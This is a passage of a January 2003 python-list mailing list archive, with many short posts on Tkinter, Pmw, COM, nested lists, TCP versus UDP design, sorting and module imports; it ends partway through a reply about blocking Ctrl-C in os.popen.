> I think the general principal applies elsewhere.

The "general principle" is that anything *you* use frequently is
perfectly
normal, regardless of how it looks to anyone else. Anything you don't
use frequently, is abnormal, bad, the work of Satan or whatever,
again regardless of whether anyone else finds it useful or whether
it serves a useful, possibly absolutely necessary purpose.

John Roth







From v.wehren at home.nl  Sun Jan 26 09:30:58 2003
From: v.wehren at home.nl (vincent wehren)
Date: Sun, 26 Jan 2003 15:30:58 +0100
Subject: tkinter + unicode + bug or feature??
References: <3E3185C3.90402@kootenay.com> <mailman.1043434578.25336.python-list@python.org> <3E319B8C.8020801@kootenay.com> <b0ssrc$mqt$00$1@news.t-online.com> <3E31F9ED.7090806@kootenay.com> <b0t0qj$76g$05$1@news.t-online.com> <b0te5n$geu$1@news2.tilbu1.nb.home.nl> <m3bs25wjuk.fsf@mira.informatik.hu-berlin.de>
Message-ID: <b10r1e$li8$1@news2.tilbu1.nb.home.nl>

"Martin v. L?wis" <martin at v.loewis.de> schrieb im Newsbeitrag
news:m3bs25wjuk.fsf at mira.informatik.hu-berlin.de...
> "vincent wehren" <v.wehren at home.nl> writes:
>
> > ChineseCodecs? Are those the ones the guys at BasisTech promised to the
> > Python community
> >
(http://www.basistech.com/papers/chinese/python-zh-transcoding-iuc20-te2.pdf
> > )? Are they aleady available?
>
> I don't know. I'm talking about the package at
>
> ftp://freebsd.sinica.edu.tw/pub/ycheng/python/ChineseCodecs1.2.0.tar.gz

First time I hear of them...
Must check 'em out... Thanks!

Regards
Vincent Wehren
>
> Regards,
> Martin






From eppstein at ics.uci.edu  Thu Jan 30 01:01:51 2003
From: eppstein at ics.uci.edu (David Eppstein)
Date: Wed, 29 Jan 2003 22:01:51 -0800
Subject: [ [ [] * y for y in range(3) ] * x for x in range(2) ]
References: <2463d77d.0301292034.1fdc47bd@posting.google.com>
Message-ID: <eppstein-96744E.22015129012003@news.service.uci.edu>

In article <2463d77d.0301292034.1fdc47bd at posting.google.com>,
 marcel_achim at videotron.ca (Marcel) wrote:

> I'm trying to allocate nested lists up-front using the subject line,
> instead of generating :
> [ [ [], [], [] ], [ [], [], [] ] ]
> I end up with  :
> [ [], [ [], [], [] ] ]

What's wrong with [[[]]*3]*2  ?

-- 
David Eppstein       UC Irvine Dept. of Information & Computer Science
eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/



From dave at pythonapocrypha.com  Fri Jan 10 10:55:42 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Fri, 10 Jan 2003 07:55:42 -0800 (PST)
Subject: Python vs .Net
In-Reply-To: <kflt1vklejartbt9n2qavsal8lqso7u3l8@4ax.com>
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <v1i5tsger4jv81@corp.supernews.com>
 <mailman.1041873908.16203.python-list@python.org> <kflt1vklejartbt9n2qavsal8lqso7u3l8@4ax.com>
Message-ID: <Pine.LNX.4.51.0301100753040.27565@ns0.tbye.com>

On Fri, 10 Jan 2003, Rhymes wrote:

> On Mon, 6 Jan 2003 08:26:55 -0800 (PST), Dave Brueck
> <dave at pythonapocrypha.com> wrote:
>
> >For example, some people use
> >Delphi for building the GUI and do the rest of the program in Python.
>
> How can they do that? Do you mean with the aid of PythonForDelphi?

Yes:
http://www.atug.com/andypatterns/pythonDelphiTalk.htm




From hrakaroo at yahoo.com  Thu Jan 30 17:53:55 2003
From: hrakaroo at yahoo.com (Joshua Gerth)
Date: 30 Jan 2003 14:53:55 -0800
Subject: subclassing from Pmw.ScrolledListBox drops the scroll bar
Message-ID: <42a10ed8.0301301453.7124d491@posting.google.com>

Hello,

  I've been searching the archives for a while and the Pmw 'known
bugs' page so I hope this is not an old question.

  I am attempting to subclass the Pmw.ScrolledListBox widget as I want
to make a few changes.  However, when I create an instance of my
subclass it no longer has its scroll bars.  I am using Python 2.2.2
and Pmw 1.1 on Linux.  If anyone has any suggestions or information I
would be most greatful.  At the bottom is my example which
demonstrates this problem.

Thanks,  
   Joshua

------------------------------------
#!/usr/bin/env python

from Tkinter import *
import Pmw

class mylistbox(Pmw.ScrolledListBox):
    def __init__(self,parent=None,**kw):

        self.defineoptions(kw, ())
        Pmw.ScrolledListBox.__init__(self,parent)

root = Pmw.initialise()

items = ('dog','cat','pig','horse','cow','donkey','chicken','goat',
         'dog','cat','pig','horse','cow','donkey','chicken','goat')

Pmw.ScrolledListBox(root, items=items).pack()

mylistbox(root, items=items).pack()

root.mainloop()
------------------------------------



From aka at mvps.org  Tue Jan 21 20:05:47 2003
From: aka at mvps.org (Alex K. Angelopoulos)
Date: Tue, 21 Jan 2003 20:05:47 -0500
Subject: Outlook Express and COM
References: <mailman.1043195797.17880.python-list@python.org>
Message-ID: <b0kqpb$qkdla$1@ID-136433.news.dfncis.de>

That's correct - OE is NOT COM-exposed.

-- 

"Anthony Baxter" <anthony at interlink.com.au> wrote in message
news:mailman.1043195797.17880.python-list at python.org...
>
> >>> "John E. Barham" wrote
> > I'm developing a server-side Bayesian spam-filtering system and would like
> > to pre-train the filter using my potential users' existing mailboxes, many
> > of whom will be using Outlook Express (i.e., switching to a Unix MUA is not
> > an option...).  I'd like to scan through their address books to build a
> > white-list and through their emails to build a dictionary of "ham" tokens.
> > Does OE provide COM interfaces to do this?  It would be especially nice if
> > it provided a pre-parsed interface to emails so that I could avoid parsing
> > raw RFC 822 messages or messing w/ DBX mailboxes.
>
> The spambayes project (http://www.spambayes.com/) has an Outlook2000
> plugin that does just this. Unfortunately it doesn't work for Outlook
> Express - I _think_ Mark Hammond commented that OE didn't expose the
> necessary hooks. Check the spambayes archives for more.
>
>
>
> -- 
> Anthony Baxter     <anthony at interlink.com.au>
> It's never too late to have a happy childhood.
>
>





From brian at sweetapp.com  Tue Jan  7 17:45:10 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Tue, 07 Jan 2003 14:45:10 -0800
Subject: Python vs .Net
In-Reply-To: <GCEDKONBLEFPPADDJCOEGEBLHDAA.whisper@oz.net>
Message-ID: <010101c2b69e$6f817bc0$21795418@dell1700>

> AFAICT, Visual Python was a technology demonstrator and not a serious
> attempt to host Python on the .net runtime...

Visual Python is a plug-in for VS .NET that makes VS .NET a reasonable
environment for Python development. It uses CPython.

Mark Hammond also wrote a prototype Python IL compiler. I don't know if
that has any special name.

Cheers,
Brian





From p.vrijlandt at aig.azn.nl  Fri Jan 10 09:56:45 2003
From: p.vrijlandt at aig.azn.nl (Patrick Vrijlandt)
Date: Fri, 10 Jan 2003 15:56:45 +0100
Subject: Pythonwin: how to save Interactive?
References: <avl2mg$dej$1@news.efn.org>
Message-ID: <avmmve$e9p$1@odysseus.uci.kun.nl>

File/Save does not work for me either: it seems to be a bug.
However, you can copy and paste to a new file.

"Spencer Ernest Doidge" <spencer at efn.org> schreef in bericht
news:avl2mg$dej$1 at news.efn.org...
> How do you save the Interactive window in PythonWin 2.2.1?
> Is there a way? I do File/Save and accept the filename Interactive,
> but then I can't find such afterward.
>
>
> --
> Spencer Doidge





From martin at v.loewis.de  Sat Jan  4 03:59:40 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 04 Jan 2003 09:59:40 +0100
Subject: python and html
References: <3e169fed$0$231@hades.is.co.za>
Message-ID: <m3fzs9xpc3.fsf@mira.informatik.hu-berlin.de>

"Shaun Fisher" <shaun.fisherpmb at absamail.co.za> writes:

> I am very new to python and I was wondering if it is possible to use python
> script in html. How is this done? Any help will be useful. I will be using
> python on both windows and linux.

In general, no - this would needed to be supported in browsers, and
browsers don't support Python, in general.

For Windows specifically, you can use Mark Hammonds Python Scripting
engine, which is an ActiveScripting engine. With that, you can execute
Python scripts in all ActiveScripting hosts, including MSIE, which
then supports Python scripts in HTML.

If you are looking for server-side scripting: There are a number of
Python HTML template systems out there, e.g. Python Server Pages, at

http://www.ciobriefings.com/psp/

Regards,
Martin




From Alberto.Mantovani at bologna.marelli.it  Thu Jan 30 07:08:58 2003
From: Alberto.Mantovani at bologna.marelli.it (Mantovani Alberto)
Date: Thu, 30 Jan 2003 13:08:58 +0100
Subject: pythonwin namespace
Message-ID: <098A62EB12AED611B60000D0B723F98E0512F7@exbologna.bologna.marelli.it>





Hi,
working with Pythonwin I've noted that if you launch a script a first time
and then you modify and relaunch it, the script that goes in execution is
always the first one that you launch. To execute the modify script you have
to exit and to enter   from pythonwin. This could be annoying, so my
question is:

1) Is there some method or some script to avoid this? 
I have found the manner to delete the module if it is imported with <import>
but not if it is imported with <from xxx import yyy>.

2) Is it possible to run automatically a my python script when I launch the
pythonwin?
If this was possible I could, at the start, to save all module imported in
pythonwin (<modules.key()>) and when I want to clear the namespace to delete
the new module imported

3) Is it possible also to clear the screen of interpr. by some commands?
best regards

Mantovani Alberto






From mgarcia at cole-switches.com  Thu Jan 16 13:55:48 2003
From: mgarcia at cole-switches.com (Manuel M. Garcia)
Date: Thu, 16 Jan 2003 18:55:48 GMT
Subject: Retrieve the argument list of a function
References: <67446a0a.0301160820.1b9d0acb@posting.google.com>
Message-ID: <rpvd2v8gf6pps5qv79fj0fmk8hglssu4vs@4ax.com>

On 16 Jan 2003 08:20:15 -0800, boethius at techie.com (Boethius) wrote:

>How can I retrieve the argument list of a given function?
>
>I want to write a function that returns curried versions of other
>functions, that's why I want to access the argument list.

There is a Python Recipe for curry:

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52549

Manuel



From davemartens at yahoo.com  Wed Jan  8 02:14:08 2003
From: davemartens at yahoo.com (Dave Martens)
Date: Tue, 7 Jan 2003 23:14:08 -0800 (PST)
Subject: iconify/deiconify catches in Tkinter
Message-ID: <20030108071408.8423.qmail@web20708.mail.yahoo.com>

Hi,

  As Tkinter people know, the destroy window
button (X) on a window can be caught, but I 
cannot find any way to catch the other two
buttons (iconify and maximize).  

If you ask "why would I want to do that?",
I probably can't give a rigorous answer so
suffice to say that I want to do it.

Any advice on how?

I have looked at the documentation I found
and searched the email archive.

thanks
Dave


__________________________________________________
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now.
http://mailplus.yahoo.com




From gerrit at nl.linux.org  Tue Jan 21 10:23:53 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Tue, 21 Jan 2003 16:23:53 +0100
Subject: How to send output to file
In-Reply-To: <3E2D17B1.3400.13E9049E@localhost>
References: <3E2D17B1.3400.13E9049E@localhost>
Message-ID: <20030121152353.GB2447@nl.linux.org>

A schreef op dinsdag 21 januari om 09:54:37 +0000:
> I use httplib module.
> By h.set_debuglevel(1) I start debugging but the output is written to DOS window.
> How can  I divert the output to file instead.
> Thank you for help.

You can assing to sys.stdout

import sys
sys.stdout = open("myfile.log", "w")

http://www.python.org/dev/doc/devel/lib/module-sys.html#l2h-315
http://www.python.org/dev/doc/devel/ref/print.html

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From DLNXPEGFQVEB at spammotel.com  Thu Jan  9 04:58:14 2003
From: DLNXPEGFQVEB at spammotel.com (Christos TZOTZIOY Georgiou)
Date: Thu, 09 Jan 2003 11:58:14 +0200
Subject: Unsung Modules Redux
References: <mailman.1040613990.20889.python-list@python.org> <au63h0$8au$1@panix2.panix.com>
Message-ID: <5nlp1vkucfrqddit0d79oesndanob3h991@4ax.com>

On 22 Dec 2002 23:30:24 -0500, rumours say that aahz at pythoncraft.com
(Aahz) might have written:

>In article <mailman.1040613990.20889.python-list at python.org>,
>Tim Peters  <tim.one at comcast.net> wrote:
>>[Scherer, Bill]
>>> 
>>> So, what's your favorite unsung module today?
>>
>>bisect.py.  Everyone needs it and nobody realizes it <wink>.
>
>I use a dict instead.  <0.2 wink>

Say you got a list of forbidden domains, eg ['doubleclick.net',
'doubleclick.com', 'yimg.com', ...], lots of them.  You want to filter a
list of domains and find the forbidden ones.  Please note that
a12.blabla.yimg.com is to be filtered as forbidden.  I think there are
two obvious (at least to me so far) ways to do it:

1. Make forbidden_domains a dict
For the domain a12.blabla.yimg.com, test all of ['a12.blabla.yimg.com',
'blabla.yimg.com', 'yimg.com', 'com'] for existence in
forbidden_domains.

2. Leave forbidden domains a list, reverse every string in it, sort
(perhaps add a dummy sentinel that sorts after every other item).
Reverse every candidate_domain, find an index in forbidden_domains using
bisect_left, check either for
len(candidate_domain)==len(forbidden_domain) or
candidate_domain[len(forbidden_domain)]=="."

Way 2 seems more appropriate to me...
-- 
TZOTZIOY, I speak England very best,
Real email address: 'dHpvdEBzaWwtdGVjLmdy\n'.decode('base64')



From abelikov72 at hotmail.com  Sat Jan 18 06:47:51 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Sat, 18 Jan 2003 11:47:51 GMT
Subject: Overloading methods in C API
Message-ID: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com>

How is it expected I create overloaded methods/functions in the C API?



From judoscript at hotmail.com  Tue Jan  7 08:08:58 2003
From: judoscript at hotmail.com (James Huang)
Date: 7 Jan 2003 05:08:58 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <dcuk1vgg1vel593evttuc99f9m5eq646i5@4ax.com>
Message-ID: <52719db8.0301070508.22a5063d@posting.google.com>

Afanasiy <abelikov72 at hotmail.com> wrote in message news:<dcuk1vgg1vel593evttuc99f9m5eq646i5 at 4ax.com>...
> On 6 Jan 2003 21:30:24 -0800, judoscript at hotmail.com (James Huang)
> wrote:
> 
> >JudoScript is a general-purpose, Java scripting,
> >multi-domain language. It is a general-purpose
> >programming language, fully capable of Java scripting,
> >and supports many applcation features in a
> >domain-specific way that include:
> 
> Can it generate text from a template such that all instances of
> <competition> are replaced with 'Python' or something else, instead
> of requiring one to write a single document for multiple audiences?
> 

JudoScript is good at templating text documents, but is unable to
process <competition>, which is unfortunate because this is not a
novel world yet.

As for audiences, are Perl and Python programmers any different,
fundamentally? See, it is all about level of abstraction of thinking.

> That, and spellcheck, could be useful... even novel apparently.

The second part is totally agreed upon... even in this not-novel-yet world.



From bdesth at nospam.free.fr  Tue Jan 21 20:53:56 2003
From: bdesth at nospam.free.fr (laotseu)
Date: Tue, 21 Jan 2003 20:53:56 -0500
Subject: Where do you store data files?
References: <bdb5b58f.0301201653.3a9166d4@posting.google.com>
Message-ID: <3E2DF9B4.9050008@nospam.free.fr>

logistix wrote:
> I've got a project that generates a simple text-format database and
> will probably generate a few dozen more documents for caching
> purposes.  I'm just trying to decide where I should store them.  I was
> thinking about just creating a subfolder in the module, which is fine
> for Windows but doesn't seem to be the "appropriate" Unix place to
> store it.
> 
> Just wondering what other people were doing.

Just leave the choice to the user ! (ie : have a [config file|register 
base entry|ini|...] saying where the data should be stored).

Laotseu




From Mongryong at sympatico.ca  Sat Jan 25 17:08:52 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 25 Jan 2003 17:08:52 -0500
Subject: Generating Unique Keys
In-Reply-To: <1043531013.4964.14.camel@refugeeMedia>
References: <1043511783.4939.1.camel@refugeeMedia>  
	<15922.49110.110304.235838@montanaro.dyndns.org>
	<mailman.1043515846.16890.python-list@python.org>
	<3E32E6EF.AA8C5A69@engcorp.com>  <iRCY9.146$qb1.126@nwrddc01.gnilink.net> 
	<1043531013.4964.14.camel@refugeeMedia>
Message-ID: <1043532533.4943.16.camel@refugeeMedia>

> Even with a 'randomly' generated session key, a malicious user can still
> steal the session key of a active user.  Is there an algorithm or
> solution to this security risk? 

Well, I guess encryption (HTTPS) is the best answer.  Is it the only
answer?





From adalke at mindspring.com  Tue Jan 14 19:49:01 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Tue, 14 Jan 2003 17:49:01 -0700
Subject: matching and extracting...
In-Reply-To: <mailman.1042587418.31451.python-list@python.org>
References: <409a56e2.0301141324.6625547d@posting.google.com> <mailman.1042587418.31451.python-list@python.org>
Message-ID: <b02b5j$dq6$1@slb6.atl.mindspring.net>

Mike C. Fletcher wrote:
> I won't try to write the whole thing here, but basically, you're doing 
> pattern matching; use one of the pattern matching engines (there's lots 
> of them). Transform your pattern definition into an appropriate 
> definition for that library.
 >
 > For instance with re:

Oooohhh.  Much more elegant than my approach.  :)

					Andrew
					dalke at dalkescientific.com




From ark at gmx.net  Sat Jan 18 15:56:29 2003
From: ark at gmx.net (Arne Koewing)
Date: Sat, 18 Jan 2003 21:56:29 +0100
Subject: problem with the if statement and elif
References: <d232c5e.0301180908.53d912cf@posting.google.com> <20030118145900.22327.00000078@mb-ca.aol.com>
Message-ID: <b0cf3e$ag3@news.Informatik.Uni-Oldenburg.DE>

ciouded0ne at aol.com (CIouded 0ne) writes:

> no im not copying and pasting. i have tryed that before but now all
> i do is just look at it and copy it down manually but here is an
> example that doesnt work for me.
>
>
> x = raw_input("Enter a number? ")
> Enter a number? 0
> if x == 0:
> print "Hey good job"
> elif x > 0:
> print "Bad job"
> else: 
> print "Oh well"
>
you must indent the blocks!

your example should be:

x = raw_input("Enter a number? ")
if x == 0:
    print "Hey good job"
elif x > 0:
    print "Bad job"
else: 
    print "Oh well"

in python the level of indention 'forms' the blocks... 




From tundra at tundraware.com  Thu Jan  9 11:30:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 09 Jan 2003 16:30:07 GMT
Subject: TKINTER glitch on 2.2.2
In-Reply-To: <3e1d7d02.108813@news1.news.adelphia.net>
References: <3e1d7d02.108813@news1.news.adelphia.net>
Message-ID: <1i7kva.4vo.ln@boundary.tundraware.com>

Burt Leavenworth wrote:
> I am upgrading from 1.5.2 to 2.2.2 but now my GUI applications which
> work on 1.5.2 no longer work properly.
> 
> In particular, with the simplest possible widget, when I hit the close
> button (x), the sytem hangs.
> 
> Any ideas?
> 
> Burt Leavenworth
> edlsoft at adelphia.net

Did you also upgrade to the latest Tkinter?
What is the OS platform?
Could you show us the code that works on 1.5.2 but not on 2.2.2?

-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From lac at strakt.com  Fri Jan 17 13:46:17 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 17 Jan 2003 19:46:17 +0100
Subject: iterating in reverse 
In-Reply-To: Message from Nick Vargish <nav@adams.patriot.net> 
   of "17 Jan 2003 13:15:21 EST." <yyywul3skw6.fsf@adams.patriot.net> 
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com> <x7el7b4qiv.fsf@guru.mired.org> <yyywul3skw6.fsf@adams.patriot.net> 
Message-ID: <200301171846.h0HIkHjL023253@ratthing-b246.strakt.com>

> I just encountered a problem that required reverse iterating to solve,
> and my current solution, though it works, is not so satisfying:
> 
> def commafy(val):
>     """Return val as string with commas every thousandth place."""
>     val = str(val)
>     ret = ''
>     c = 0
>     for i in range(len(val) - 1, -1, -1):
>         if c and not c % 3:
>             ret = ',' + ret
>         ret = val[i] + ret
>         c += 1
>     return ret
> 
> This is one of the few times I just haven't been able to come up with
> an elegant and -- dare I say it -- aesthetically pleasing solution in
> Python. I suspect the lack is my own, not Python's.
> 
> Nick
> 
> -- 
> # sigmask.py  ||  version 0.2  ||  2003-01-07  ||  Feed this to your Python.
> print reduce(lambda x,y:x+chr(ord(y)-1),'Ojdl!Wbshjti!=obwAqbusjpu/ofu?','')
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list

Well, you could reverse the string and operate on that, and then reverse 
it back ...

Laura Creighton




From exarkun at intarweb.us  Mon Jan 27 15:01:03 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Mon, 27 Jan 2003 15:01:03 -0500
Subject: Python newbie looking into communications...
In-Reply-To: <slrnb39sjd.ej0.james@minerva.jimrthy>
References: <ELHY9.123260$GF.30808722@twister.columbus.rr.com> <3E3354E0.8225F233@engcorp.com> <xIXY9.125569$GF.31647688@twister.columbus.rr.com> <pan.2003.01.27.00.12.15.881159@compy.attbi.com> <slrnb39sjd.ej0.james@minerva.jimrthy>
Message-ID: <20030127200103.GA23274@meson.dyndns.org>

On Mon, Jan 27, 2003 at 04:47:43AM -0500, James Ashley wrote:
> In article 
> <pan.2003.01.27.00.12.15.881159 at compy.attbi.com>, 
> jerf at compy.attbi.com wrote:
> > On Sun, 26 Jan 2003 20:39:57 +0000, Sam Marrocco wrote:
> >> If the Controller was a TCP Server and the nodes were TCP Clients, the 
> >> Controller/server had to be running first, then the Nodes/Clients. If 
> >> the Controller/Server was restarted (which happens often)then things 
> >> went awry. 
> > 
> > Since you said you were new to networking, I would point out that there
> > isn't really a such thing as "TCP Server" or "TCP Client". The
> > communication protocol itself is "peer-to-peer", long before that became a
> > meaningless buzz word. You are using the terms correctly and I know what
> > you mean, but it's importent that your concept of "TCP" itself does not
> > include "server" or "client", that's a function of how you use the
> > protocol. Only "initiator" and "receiver" really matter.
> 
> The point remains, though.  When one member of a TCP pair goes away, it
> tends to be uglier than over UDP.  (If nothing else, as I recall, win 32
> --I'm just guessing that's involved--doesn't give you a whole lot of 
> control over the sockets, so the timeout can be a lot uglier than just
> waiting on a "heartbeat."

  "Ugly" is subjective of course, so I can't say you're wrong :)
Personally, I find it better to have a bit of extra code that handles lost
connections than to have a bit of extra code to ensure messages get
delivered.  Both of these can be abstracted out into a library, though, so
if you're writing your code well, neither should be an issue.

> > 
> >> Also, the Nodes/clients do not necessarily know *who* the 
> >> Controller/Server is, so they receive that information within their data 
> >> from the Controller/Server--then send info back to that machine. Nodes 
> >> and Controller can be rebooted at any time, and the apps restarted.
> > 
> > TCP connections will notify you when they have been terminated for any
> > reason. Exactly when that happens depends on the exact parameters of the
> > connection and the underlying network API. 
> 
> It's that "depends" part that, in some cases, does make UDP a better
> engineering choice.

  I don't see how.  You can always handle lost TCP connections at least as
well as UDP can handle its peer being lost (silently, with no rhyme or
reason).  Maybe you have a case that I've never encountered before, but it
doesn't sound like it so far.  Can you be more specific about why you feel
this point favors UDP over TCP?

> [snip]
> > 
> > When the server machine disappears, the connection gags no matter what.
> 
> The severity of the gagging differs, though.  I was only a junior member
> on this team, and I never got into these details.  But I once worked on
> a project where, randomly, one client would lose its connection to
> the server.  Somehow or other, this wound up locking up every other
> client involved.  To fix this problem, everything was ported to UDP.
> 

  This sounds like a lack in the design team or the architecture used. 
There is no reason a problem like this needs to exist with TCP networking. 
Rewriting the entire system to use UDP instead is gross overkill.

> [snip]

  Jp

-- 
 up 42 days, 23:49, 3 users, load average: 0.02, 0.14, 0.16
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030127/9f126b94/attachment.sig>

From pan-newsreader at thomas-guettler.de  Thu Jan 30 13:06:08 2003
From: pan-newsreader at thomas-guettler.de (Thomas Guettler)
Date: Thu, 30 Jan 2003 19:06:08 +0100
Subject: mxODBC cannot import... new install
References: <c017c9ec.0301300938.6f7b76dc@posting.google.com>
Message-ID: <pan.2003.01.30.19.06.08.826835.724@thomas-guettler.de>

On Thu, 30 Jan 2003 18:38:53 +0100, Tony Colston wrote:

> I just installed mxODBC and cannot get the damn thing even to import!
> Does anyone have any advice on how to get this to work?
> 
> I am trying this and here are the results.

If I recall correctly you need to install a other mx???? package, too.
Have a look at the download page again.

 thomas

-- 
Thomas Guettler <guettli at thomas-guettler.de>
http://www.thomas-guettler.de



From jorgencederberg at hotmail.com  Tue Jan 28 02:14:35 2003
From: jorgencederberg at hotmail.com (=?ISO-8859-1?Q?J=F8rgen_Cederberg?=)
Date: Tue, 28 Jan 2003 08:14:35 +0100
Subject: sort by last then by first
References: <1964c4d7.0301271648.18dba0b3@posting.google.com>
Message-ID: <3E362DDB.2020603@hotmail.com>

Brian Kranson wrote:
> is is possible to sort a list by one field and then by another field
> in the list.  for example....
> 
> names=[['Flintstone', 'Fred'],['Flintstone', 'Wilma'],['Rubble',
> 'Barney'],['Rubble', 'Betty'],['Flintstone', 'Pebbles']]
> 
> in this case i know i can do ...
> 
< snip - example with lambda >

When sorting a list by several fields, I use this method:

 >>> names=[['Flintstone', 'Fred'],['Flintstone', 'Wilma'],['Rubble',
... 'Barney'],['Rubble', 'Betty'],['Flintstone', 'Pebbles']]
 >>> snames = [ (x[1], x[0], x) for x in names]
 >>> snames.sort()
 >>> sortednames = [x[-1] for x in snames]
 >>> sortednames
[['Rubble', 'Barney'], ['Rubble', 'Betty'], ['Flintstone', 'Fred'], 
['Flintstone
', 'Pebbles'], ['Flintstone', 'Wilma']]
 >>>

I create a list of tuples, where the tuple is ordered in the way I want 
to sort, i.e. "sort by last then by first". The last element is the 
original item to be sorted. Sort them, and then extract the original item.

Maybe there are faster and easier ways, but I understand this one.

Regards
Jorgen




From phr-n2002b at NOSPAMnightsong.com  Sun Jan 12 23:39:39 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 12 Jan 2003 20:39:39 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] Minimal Python project)
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org>
Message-ID: <7xk7h9hddg.fsf@ruckus.brouhaha.com>

Christian Tismer <tismer at tismer.com> writes:
> While a name is most unimportant for me,
> I agree that it *is* important for the
> community to be able to spell it.
> 
> Anyone having some good suggestions?

I think you should call it PEP (for "Portability-Enhanced Python" or
something like that).  Just think of the confusion that would result ;-).



From papaggel at ics.forth.gr  Fri Jan 10 06:41:40 2003
From: papaggel at ics.forth.gr (Manos Papagelis)
Date: Fri, 10 Jan 2003 13:41:40 +0200
Subject: Urgent. ImportError: No module named _socket
Message-ID: <000c01c2b89d$3f7edc50$04b75b8b@ics.forth.gr>

Hi,

I am trying to set up an application developped in python (Cyberchair) but i have a problem that seems serious.

When trying to import socket module an importError is occured as follows.

    ImportError: No module named _socket

I have read some suggestions on how to solve the problem but they do not apply to my occasion, or I have something done wrong.

I use python 2.1 on Solaris 8

Plz if anyone knows how to solve the problem mail me 

thanks,

- Manos Papagelis

p.s. Include me on CC because i am not reistered to the mailing list
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030110/cf74cb0d/attachment.html>

From wweexxsseessssaa at telusplanet.net  Wed Jan 15 06:50:30 2003
From: wweexxsseessssaa at telusplanet.net (John Hall)
Date: Wed, 15 Jan 2003 11:50:30 GMT
Subject: Soundex or Metaphone algorithms ?
References: <199f365a.0301150213.45dbb9a5@posting.google.com>
Message-ID: <mnia2vs9tb1hjmu8akoqdd0g2hld1b937j@4ax.com>

On 15 Jan 2003 02:13:07 -0800, yanarkana at yahoo.fr (Arkana) wrote:

>hello,
>
>does anyone know an implementation of soundex or metaphone algorithm in python ?
Here's one in the Python Cookbook:-

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52213


-- 
John W Hall <wweexxsseessssaa at telusplanet.net>
Calgary, Alberta, Canada.
"Helping People Prosper in the Information Age"



From skip at pobox.com  Tue Jan  7 18:43:46 2003
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 7 Jan 2003 17:43:46 -0600
Subject: Is it really good?
In-Reply-To: <3E1A9A0F.6020306@envision.co.il>
References: <3E1A9A0F.6020306@envision.co.il>
Message-ID: <15899.26162.768476.492594@montanaro.dyndns.org>

    Nadav> Can someone explain why python does not raise NameError in the
    Nadav> first test line b[e]low.

    >>> 2 == 3 is good
    0     # ????????????????????????

Chained operations.  The above expression is effectively

    (2 == 3) and (3 is good)

The first is false, so the second is never evaluated.

-- 
Skip Montanaro
skip at pobox.com





From abli at freemail.hu  Fri Jan 10 14:27:52 2003
From: abli at freemail.hu (Abel Daniel)
Date: Fri, 10 Jan 2003 20:27:52 +0100
Subject: tkinter: Passing arguments when binding keys to functions
In-Reply-To: <tovmva.2s51.ln@boundary.tundraware.com>
References: <72pkva.lsr.ln@boundary.tundraware.com> <mailman.1042191206.28149.python-list@python.org> <tovmva.2s51.ln@boundary.tundraware.com>
Message-ID: <20030110192751.GA712@hooloovoo>

Tim Daneliuk (tundra at tundraware.com) wrote:
[...snipped...] 
> for x in range(len(array)):
>     y = array[x]	
>     widget.bind('<F' + str(x+1) + '>', lambda arg=y : CommonHandler(arg))
[...more snipped...] 
> 
> So, I guess the heart of my question becomes, "Why does this formulation
> pass the event object, not the array member to CommonHandler()>"
Because the callback will get the event object as a parameter. (And that
overwrites the default argument.)

you need:
     widget.bind('<F' + str(x+1) + '>', lambda e, arg=y : CommonHandler(arg))


abli
abli at freemail.hu




From pythonhda at yahoo.com.replacepythonwithlinux  Sun Jan  5 01:02:33 2003
From: pythonhda at yahoo.com.replacepythonwithlinux (pythonhda)
Date: Sun, 5 Jan 2003 01:02:33 -0500
Subject: Blocking ctrl-c to os.popen() or os.system()
References: <d71cc7f6.0301041400.25c106c4@posting.google.com>
	<3E17C3E3.FC2C643C@alcyone.com>
Message-ID: <20030105010233.15d82a5f.pythonhda@yahoo.com.replacepythonwithlinux>

On Sat, 04 Jan 2003 21:34:27 -0800
Erik Max Francis <max at alcyone.com> wrote:

> Sandeep Gupta wrote:
> 
> > I am executing a command from python via os.popen().  While the
> > command is executing, if I type ctrl-c, the command receives the
> > interrupt.  I would like to block the ctrl-c from the command and I've
> > tried the following:
> > 
